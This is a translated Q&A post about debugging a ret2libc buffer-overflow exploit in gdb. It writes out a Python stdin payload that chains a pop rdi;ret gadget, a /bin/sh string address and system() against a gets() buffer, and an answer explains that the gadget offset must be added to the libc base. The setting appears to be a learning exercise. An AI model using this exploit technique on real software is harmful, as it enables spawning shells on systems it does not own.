gdb 读取错误的输入(stdin)值

gdb reads wrong input(stdin) values

我在 gdb 中为 ret2libc 输入以下内容。

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')

虽然我检查了内存,但它在 0x267de

之后显示了错误的值
(gdb) x/4g $rbp
0x7fffffffe190: 0x4242424242424242      0x00000000000267de
0x7fffffffe1a0: 0x007fff370cf7b1ac      0x007ffff7e408a000

所有地址都正确,最后程序以段错误结束。

AAAAAAAAAABBBBBBBB�g


Program received signal SIGSEGV, Segmentation fault.
0x00000000000267de in ?? ()

选择的小工具是 pop rdi;ret,位于 0x267de/bin/sh 位于 0x7ffff7f7b1acsystem() 位于 0x7ffff7e408a0 gets( ) 用于输入 10 字节长的缓冲区,源代码中没有其他变量。

为什么显示错误的值?

正如@Mark Plotnick 所说,0x267de 是小工具的偏移量 pop rdi; ret。所以为了找到gadget的正确地址,偏移量必须加上基地址。我使用 radare2 找到加载 libc 路径作为二进制路径的小工具。这意味着 libc 的基地址是小工具的基地址。为了找到 libc 的基地址,我在 gdb 中使用了 info proc map。还有其他方法可以找到 libc 的基址。当使用这个地址时,地址显示问题得到解决